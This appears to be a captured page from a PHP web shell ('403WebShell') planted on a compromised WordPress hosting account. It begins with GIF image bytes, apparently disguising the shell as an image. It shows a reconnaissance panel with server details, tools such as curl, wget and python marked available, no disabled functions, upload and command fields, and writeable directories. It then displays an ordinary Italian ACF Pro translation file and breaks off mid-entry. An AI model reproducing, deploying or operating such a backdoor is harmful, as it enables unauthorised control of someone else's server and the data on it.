GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 104.21.83.152  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhalid/public_html/wp-content/themes/maxsym-theme/includes/acf/lang/pro/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhalid/public_html/wp-content/themes/maxsym-theme/includes/acf/lang/pro/acf-it_IT.po
msgid ""
msgstr ""
"Project-Id-Version: Advanced Custom Fields Pro\n"
"Report-Msgid-Bugs-To: https://support.advancedcustomfields.com\n"
"POT-Creation-Date: 2022-08-03 11:47+0000\n"
"PO-Revision-Date: 2022-08-03 13:07+0100\n"
"Last-Translator: Delicious Brains <[email protected]>\n"
"Language-Team: Elliot Condon <[email protected]>\n"
"Language: it_IT\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"
"X-Generator: Poedit 3.1.1\n"
"X-Loco-Target-Locale: it_IT\n"
"X-Poedit-SourceCharset: UTF-8\n"
"X-Poedit-KeywordsList: __;_e;_n:1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;esc_attr__;"
"esc_attr_e;esc_attr_x:1,2c;esc_html__;esc_html_e;esc_html_x:1,2c;_n_noop:1,2;"
"_nx_noop:3c,1,2;__ngettext_noop:1,2\n"
"X-Poedit-Basepath: ..\n"
"X-Poedit-WPHeader: acf.php\n"
"X-Textdomain-Support: yes\n"
"X-Poedit-SearchPath-0: .\n"
"X-Poedit-SearchPathExcluded-0: *.js\n"

#: pro/acf-pro.php:27
msgid "Advanced Custom Fields PRO"
msgstr "Advanced Custom Fields PRO"

#: pro/blocks.php:166
msgid "Block type name is required."
msgstr ""

#: pro/blocks.php:173
msgid "Block type \"%s\" is already registered."
msgstr ""

#: pro/blocks.php:731
msgid "Switch to Edit"
msgstr ""

#: pro/blocks.php:732
msgid "Switch to Preview"
msgstr ""

#: pro/blocks.php:733
msgid "Change content alignment"
msgstr ""

#. translators: %s: Block type title
#: pro/blocks.php:736
msgid "%s settings"
msgstr ""

#: pro/blocks.php:949
msgid "This block contains no editable fields."
msgstr ""

#. translators: %s: an admin URL to the field group edit screen
#: pro/blocks.php:955
msgid ""
"Assign a <a href=\"%s\" target=\"_blank\">field group</a> to add fields to "
"this block."
msgstr ""

#: pro/options-page.php:47
msgid "Options"
msgstr "Opzioni"

#: pro/options-page.php:77, pro/fields/class-acf-field-gallery.php:523
msgid "Update"
msgstr "Aggiorna"

#: pro/options-page.php:78
msgid "Options Updated"
msgstr "Opzioni Aggiornate"

#: pro/updates.php:99
msgid ""
"To enable updates, please enter your license key on the <a href=\"%1$s"
"\">Updates</a> page. If you don't have a licence key, please see <a href="
"\"%2$s\" target=\"_blank\">details & pricing</a>."
msgstr ""

#: pro/updates.php:159
msgid ""
"<b>ACF Activation Error</b>. Your defined license key has changed, but an "
"error occurred when deactivating your old licence"
msgstr ""

#: pro/updates.php:154
msgid ""
"<b>ACF Activation Error</b>. Your defined license key has changed, but an "
"error occurred when connecting to activation server"
msgstr ""

#: pro/updates.php:192
msgid "<b>ACF Activation Error</b>"
msgstr ""

#: pro/updates.php:187
msgid ""
"<b>ACF Activation Error</b>. An error occurred when connecting to activation "
"server"
msgstr ""

#: pro/updates.php:279, pro/admin/views/html-settings-updates.php:117
msgid "Check Again"
msgstr "Ricontrollare"

#: pro/updates.php:561
msgid "<b>ACF Activation Error</b>. Could not connect to activation server"
msgstr ""

#: pro/admin/admin-options-page.php:195
msgid "Publish"
msgstr "Pubblica"

#: pro/admin/admin-options-page.php:199
msgid ""
"No Custom Field Groups found for this options page. <a href=\"%s\">Create a "
"Custom Field Group</a>"
msgstr ""
"Nessun Field Group personalizzato trovato in questa Pagina Opzioni. <a href="
"\"%s\">Crea un Field Group personalizzato</a>"

#: pro/admin/admin-options-page.php:309
msgid "Edit field group"
msgstr "Modifica Field Group"

#: pro/admin/admin-updates.php:52
msgid "<b>Error</b>. Could not connect to update server"
msgstr "<b>Errore</b>.Impossibile connettersi al server di aggiornamento"

#: pro/admin/admin-updates.php:122,
#: pro/admin/views/html-settings-updates.php:12
msgid "Updates"
msgstr "Aggiornamenti"

#: pro/admin/admin-updates.php:209
msgid ""
"<b>Error</b>. Could not authenticate update package. Please check again or "
"deactivate and reactivate your ACF PRO license."
msgstr ""

#: pro/admin/admin-updates.php:196
msgid ""
"<b>Error</b>. Your license for this site has expired or been deactivated. "
"Please reactivate your ACF PRO license."
msgstr ""

#: pro/fields/class-acf-field-clone.php:25
msgctxt "noun"
msgid "Clone"
msgstr "Clona"

#: pro/fields/class-acf-field-clone.php:814
msgid "Fields"
msgstr "Campi"

#: pro/fields/class-acf-field-clone.php:815
msgid "Select one or more fields you wish to clone"
msgstr "Selezionare uno o più campi che si desidera clonare"

#: pro/fields/class-acf-field-clone.php:834
msgid "Display"
msgstr "Visualizza"

#: pro/fields/class-acf-field-clone.php:835
msgid "Specify the style used to render the clone field"
msgstr "Specificare lo stile utilizzato per il rendering del campo clona"

#: pro/fields/class-acf-field-clone.php:840
msgid "Group (displays selected fields in a group within this field)"
msgstr ""
"Gruppo (Visualizza campi selezionati in un gruppo all'interno di questo "
"campo)"

#: pro/fields/class-acf-field-clone.php:841
msgid "Seamless (replaces this field with selected fields)"
msgstr "Senza interruzione (sostituisce questo campo con i campi selezionati)"

#: pro/fields/class-acf-field-clone.php:850,
#: pro/fields/class-acf-field-flexible-content.php:549,
#: pro/fields/class-acf-field-flexible-content.php:604,
#: pro/fields/class-acf-field-repeater.php:211
msgid "Layout"
msgstr "Layout"

#: pro/fields/class-acf-field-clone.php:851
msgid "Specify the style used to render the selected fields"
msgstr "Specificare lo stile utilizzato per il rendering dei campi selezionati"

#: pro/fields/class-acf-field-clone.php:856,
#: pro/fields/class-acf-field-flexible-content.php:617,
#: pro/fields/class-acf-field-repeater.php:219,
#: pro/locations/class-acf-location-block.php:22
msgid "Block"
msgstr "Blocco"

#: pro/fields/class-acf-field-clone.php:857,
#: pro/fields/class-acf-field-flexible-content.php:616,
#: pro/fields/class-acf-field-repeater.php:218
msgid "Table"
msgstr "Tabella"

#: pro/fields/class-acf-field-clone.php:858,
#: pro/fields/class-acf-field-flexible-content.php:618,
#: pro/fields/class-acf-field-repeater.php:220
msgid "Row"
msgstr "Riga"

#: pro/fields/class-acf-field-clone.php:864
msgid "Labels will be displayed as %s"
msgstr "Etichette verranno visualizzate come %s"

#: pro/fields/class-acf-field-clone.php:869
msgid "Prefix Field Labels"
msgstr "Prefisso Etichetta Campo"

#: pro/fields/class-acf-field-clone.php:880
msgid "Values will be saved as %s"
msgstr "I valori verranno salvati come %s"

#: pro/fields/class-acf-field-clone.php:885
msgid "Prefix Field Names"
msgstr "Prefisso Nomi Campo"

#: pro/fields/class-acf-field-clone.php:1001
msgid "Unknown field"
msgstr "Campo sconosciuto"

#: pro/fields/class-acf-field-clone.php:1005
msgid "(no title)"
msgstr "(nessun titolo)"

#: pro/fields/class-acf-field-clone.php:1038
msgid "Unknown field group"
msgstr "Field Group sconosciuto"

#: pro/fields/class-acf-field-clone.php:1042
msgid "All fields from %s field group"
msgstr "Tutti i campi dal %s field group"

#: pro/fields/class-acf-field-flexible-content.php:25
msgid "Flexible Content"
msgstr "Contenuto Flessibile"

#: pro/fields/class-acf-field-flexible-content.php:31,
#: pro/fields/class-acf-field-repeater.php:79,
#: pro/fields/class-acf-field-repeater.php:263
msgid "Add Row"
msgstr "Aggiungi Riga"

#: pro/fields/class-acf-field-flexible-content.php:71,
#: pro/fields/class-acf-field-flexible-content.php:917,
#: pro/fields/class-acf-field-flexible-content.php:996
#, fuzzy
#| msgid "layout"
msgid "layout"
msgid_plural "layouts"
msgstr[0] "layout"
msgstr[1] "layout"

#: pro/fields/class-acf-field-flexible-content.php:72
msgid "layouts"
msgstr "layout"

#: pro/fields/class-acf-field-flexible-content.php:75,
#: pro/fields/class-acf-field-flexible-content.php:916,
#: pro/fields/class-acf-field-flexible-content.php:995
msgid "This field requires at least {min} {label} {identifier}"
msgstr "Questo campo richiede almeno {min} {label} {identifier}"

#: pro/fields/class-acf-field-flexible-content.php:76
msgid "This field has a limit of {max} {label} {identifier}"
msgstr ""

#: pro/fields/class-acf-field-flexible-content.php:79
msgid "{available} {label} {identifier} available (max {max})"
msgstr "{available} {label} {identifier} disponibile (max {max})"

#: pro/fields/class-acf-field-flexible-content.php:80
msgid "{required} {label} {identifier} required (min {min})"
msgstr "{required} {label} {identifier} richiesto (min {min})"

#: pro/fields/class-acf-field-flexible-content.php:83
msgid "Flexible Content requires at least 1 layout"
msgstr "Flexible Content richiede almeno 1 layout"

#: pro/fields/class-acf-field-flexible-content.php:276
msgid "Click the \"%s\" button below to start creating your layout"
msgstr "Clicca il bottone \"%s\" qui sotto per iniziare a creare il layout"

#: pro/fields/class-acf-field-flexible-content.php:410,
#: pro/fields/class-acf-repeater-table.php:354
msgid "Drag to reorder"
msgstr "Trascinare per riordinare"

#: pro/fields/class-acf-field-flexible-content.php:413
msgid "Add layout"
msgstr "Aggiungi Layout"

#: pro/fields/class-acf-field-flexible-content.php:414
msgid "Duplicate layout"
msgstr ""

#: pro/fields/class-acf-field-flexible-content.php:415
msgid "Remove layout"
msgstr "Rimuovi Layout"

#: pro/fields/class-acf-field-flexible-content.php:416,
#: pro/fields/class-acf-repeater-table.php:369
msgid "Click to toggle"
msgstr "Clicca per alternare"

#: pro/fields/class-acf-field-flexible-content.php:551
msgid "Reorder Layout"
msgstr "Riordina Layout"

#: pro/fields/class-acf-field-flexible-content.php:551
msgid "Reorder"
msgstr "Riordina"

#: pro/fields/class-acf-field-flexible-content.php:552
msgid "Delete Layout"
msgstr "Cancella Layout"

#: pro/fields/class-acf-field-flexible-content.php:552
msgid "Delete"
msgstr "Cancella"

#: pro/fields/class-acf-field-flexible-content.php:553
msgid "Duplicate Layout"
msgstr "Duplica Layout"

#: pro/fields/class-acf-field-flexible-content.php:553
msgid "Duplicate"
msgstr "Duplica"

#: pro/fields/class-acf-field-flexible-content.php:554
msgid "Add New Layout"
msgstr "Aggiungi Nuovo Layout"

#: pro/fields/class-acf-field-flexible-content.php:554
msgid "Add New"
msgstr "Aggiungi Nuovo"

#: pro/fields/class-acf-field-flexible-content.php:581
msgid "Label"
msgstr "Etichetta"

#: pro/fields/class-acf-field-flexible-content.php:597
msgid "Name"
msgstr "Nome"

#: pro/fields/class-acf-field-flexible-content.php:635
msgid "Min"
msgstr "Min"

#: pro/fields/class-acf-field-flexible-content.php:650
msgid "Max"
msgstr "Max"

#: pro/fields/class-acf-field-flexible-content.php:679,
#: pro/fields/class-acf-field-repeater.php:259
msgid "Button Label"
msgstr "Etichetta Bottone"

#: pro/fields/class-acf-field-flexible-content.php:690
msgid "Minimum Layouts"
msgstr "Layout Minimi"

#: pro/fields/class-acf-field-flexible-content.php:701
msgid "Maximum Layouts"
msgstr "Layout Massimi"

#: pro/fields/class-acf-field-flexible-content.php:1704,
#: pro/fields/class-acf-field-repeater.php:861
msgid "%s must be of type array or null."
msgstr ""

#: pro/fields/class-acf-field-flexible-content.php:1715
msgid "%1$s must contain at least %2$s %3$s layout."
msgid_plural "%1$s must contain at least %2$s %3$s layouts."
msgstr[0] ""
msgstr[1] ""

#: pro/fields/class-acf-field-flexible-content.php:1731
msgid "%1$s must contain at most %2$s %3$s layout."
msgid_plural "%1$s must contain at most %2$s %3$s layouts."
msgstr[0] ""
msgstr[1] ""

#: pro/fields/class-acf-field-gallery.php:25
msgid "Gallery"
msgstr "Galleria"

#: pro/fields/class-acf-field-gallery.php:73
msgid "Add Image to Gallery"
msgstr "Aggiungi Immagine alla Galleria"

#: pro/fields/class-acf-field-gallery.php:74
msgid "Maximum selection reached"
msgstr "Selezione massima raggiunta"

#: pro/fields/class-acf-field-gallery.php:320
msgid "Length"
msgstr "Lunghezza"

#: pro/fields/class-acf-field-gallery.php:335
msgid "Edit"
msgstr "Modifica"

#: pro/fields/class-acf-field-gallery.php:336,
#: pro/fields/class-acf-field-gallery.php:491
msgid "Remove"
msgstr "Rimuovi"

#: pro/fields/class-acf-field-gallery.php:352
msgid "Title"
msgstr "Titolo"

#: pro/fields/class-acf-field-gallery.php:364
msgid "Caption"
msgstr "Didascalia"

#: pro/fields/class-acf-field-gallery.php:376
msgid "Alt Text"
msgstr "Testo Alt"

#: pro/fields/class-acf-field-gallery.php:388
msgid "Description"
msgstr "Descrizione"

#: pro/fields/class-acf-field-gallery.php:500
msgid "Add to gallery"
msgstr "Aggiungi a Galleria"

#: pro/fields/class-acf-field-gallery.php:504
msgid "Bulk actions"
msgstr "Azioni in blocco"

#: pro/fields/class-acf-field-gallery.php:505
msgid "Sort by date uploaded"
msgstr "Ordina per aggiornamento data"

#: pro/fields/class-acf-field-gallery.php:506
msgid "Sort by date modified"
msgstr "Ordina per data modifica"

#: pro/fields/class-acf-field-gallery.php:507
msgid "Sort by title"
msgstr "Ordina per titolo"

#: pro/fields/class-acf-field-gallery.php:508
msgid "Reverse current order"
msgstr "Ordine corrente inversa"

#: pro/fields/class-acf-field-gallery.php:520
msgid "Close"
msgstr "Chiudi"

#: pro/fields/class-acf-field-gallery.php:573
msgid "Return Format"
msgstr "Formato di ritorno"

#: pro/fields/class-acf-field-gallery.php:579
msgid "Image Array"
msgstr "Array Immagine"

#: pro/fields/class-acf-field-gallery.php:580
msgid "Image URL"
msgstr "URL Immagine"

#: pro/fields/class-acf-field-gallery.php:581
msgid "Image ID"
msgstr "ID Immagine"

#: pro/fields/class-acf-field-gallery.php:590
msgid "Preview Size"
msgstr "Dimensione Anteprima"

#: pro/fields/class-acf-field-gallery.php:602
msgid "Insert"
msgstr "Inserisci"

#: pro/fields/class-acf-field-gallery.php:603
msgid "Specify where new attachments are added"
msgstr "Specificare dove vengono aggiunti nuovi allegati"

#: pro/fields/class-acf-field-gallery.php:607
msgid "Append to the end"
msgstr "Aggiungere alla fine"

#: pro/fields/class-acf-field-gallery.php:608
msgid "Prepend to the beginning"
msgstr "Anteporre all'inizio"

#: pro/fields/class-acf-field-gallery.php:617
msgid "Library"
msgstr "Libreria"

#: pro/fields/class-acf-field-gallery.php:618
msgid "Limit the media library choice"
msgstr "Limitare la scelta alla libreria multimediale"

#: pro/fields/class-acf-field-gallery.php:623,
#: pro/locations/class-acf-location-block.php:66
msgid "All"
msgstr "Tutti"

#: pro/fields/class-acf-field-gallery.php:624
msgid "Uploaded to post"
msgstr "Caricato al post"

#: pro/fields/class-acf-field-gallery.php:633
msgid "Minimum Selection"
msgstr "Seleziona Minima"

#: pro/fields/class-acf-field-gallery.php:644
msgid "Maximum Selection"
msgstr "Seleziona Massima"

#: pro/fields/class-acf-field-gallery.php:655
msgid "Minimum"
msgstr "Minimo"

#: pro/fields/class-acf-field-gallery.php:656,
#: pro/fields/class-acf-field-gallery.php:693
msgid "Restrict which images can be uploaded"
msgstr "Limita i tipi di immagine che possono essere caricati"

#: pro/fields/class-acf-field-gallery.php:659,
#: pro/fields/class-acf-field-gallery.php:696
msgid "Width"
msgstr "Larghezza"

#: pro/fields/class-acf-field-gallery.php:670,
#: pro/fields/class-acf-field-gallery.php:707
msgid "Height"
msgstr "Altezza"

#: pro/fields/class-acf-field-gallery.php:682,
#: pro/fields/class-acf-field-gallery.php:719
msgid "File size"
msgstr "Dimensione File"

#: pro/fields/class-acf-field-gallery.php:692
msgid "Maximum"
msgstr "Massimo"

#: pro/fields/class-acf-field-gallery.php:729
msgid "Allowed file types"
msgstr "Tipologie File permesse"

#: pro/fields/class-acf-field-gallery.php:730
msgid "Comma separated list. Leave blank for all types"
msgstr "Lista separata da virgole. Lascia bianco per tutti i tipi"

#: pro/fields/class-acf-field-gallery.php:832
msgid "%1$s requires at least %2$s selection"
msgid_plural "%1$s requires at least %2$s selections"
msgstr[0] ""
msgstr[1] ""

#: pro/fields/class-acf-field-repeater.php:22
msgid "Repeater"
msgstr "Ripetitore"

#: pro/fields/class-acf-field-repeater.php:53,
#: pro/fields/class-acf-field-repeater.php:423
msgid "Minimum rows reached ({min} rows)"
msgstr "Righe minime raggiunte ({min} righe)"

#: pro/fields/class-acf-field-repeater.php:54
msgid "Maximum rows reached ({max} rows)"
msgstr "Righe massime raggiunte ({max} righe)"

#: pro/fields/class-acf-field-repeater.php:55
msgid "Error loading page"
msgstr ""

#: pro/fields/class-acf-field-repeater.php:141
msgid "Sub Fields"
msgstr "Campi Sub"

#: pro/fields/class-acf-field-repeater.php:174
msgid "Collapsed"
msgstr "Collassata"

#: pro/fields/class-acf-field-repeater.php:175
msgid "Select a sub field to show when row is collapsed"
msgstr ""
"Selezionare un campo secondario da visualizzare quando la riga è collassata"

#: pro/fields/class-acf-field-repeater.php:187
msgid "Minimum Rows"
msgstr "Righe Minime"

#: pro/fields/class-acf-field-repeater.php:199
msgid "Maximum Rows"
msgstr "Righe Massime"

#: pro/fields/class-acf-field-repeater.php:228
msgid "Pagination"
msgstr ""

#: pro/fields/class-acf-field-repeater.php:229
msgid "Useful for fields with a large number of rows."
msgstr ""

#: pro/fields/class-acf-field-repeater.php:240
msgid "Rows Per Page"
msgstr ""

#: pro/fields/class-acf-field-repeater.php:241
msgid "Set the number of rows to be displayed on a page."
msgstr ""

#: pro/fields/class-acf-field-repeater.php:945
msgid "Invalid nonce."
msgstr ""

#: pro/fields/class-acf-field-repeater.php:959
msgid "Invalid field key."
msgstr ""

#: pro/fields/class-acf-field-repeater.php:968
msgid "There was an error retrieving the field."
msgstr ""

#: pro/fields/class-acf-repeater-table.php:389
msgid "Add row"
msgstr "Aggiungi riga"

#: pro/fields/class-acf-repeater-table.php:390
msgid "Duplicate row"
msgstr ""

#: pro/fields/class-acf-repeater-table.php:391
msgid "Remove row"
msgstr "Rimuovi riga"

#: pro/fields/class-acf-repeater-table.php:435,
#: pro/fields/class-acf-repeater-table.php:452
msgid "Current Page"
msgstr ""

#: pro/fields/class-acf-repeater-table.php:444
msgid "First page"
msgstr ""

#: pro/fields/class-acf-repeater-table.php:448
msgid "Previous page"
msgstr ""

#. translators: 1: Current page, 2: Total pages.
#: pro/fields/class-acf-repeater-table.php:457
msgctxt "paging"
msgid "%1$s of %2$s"
msgstr ""

#: pro/fields/class-acf-repeater-table.php:465
msgid "Next page"
msgstr ""

#: pro/fields/class-acf-repeater-table.php:469
msgid "Last page"
msgstr ""

#: pro/locations/class-acf-location-block.php:71
msgid "No block types exist"
msgstr ""

#: pro/locations/class-acf-location-options-page.php:22
msgid "Options Page"
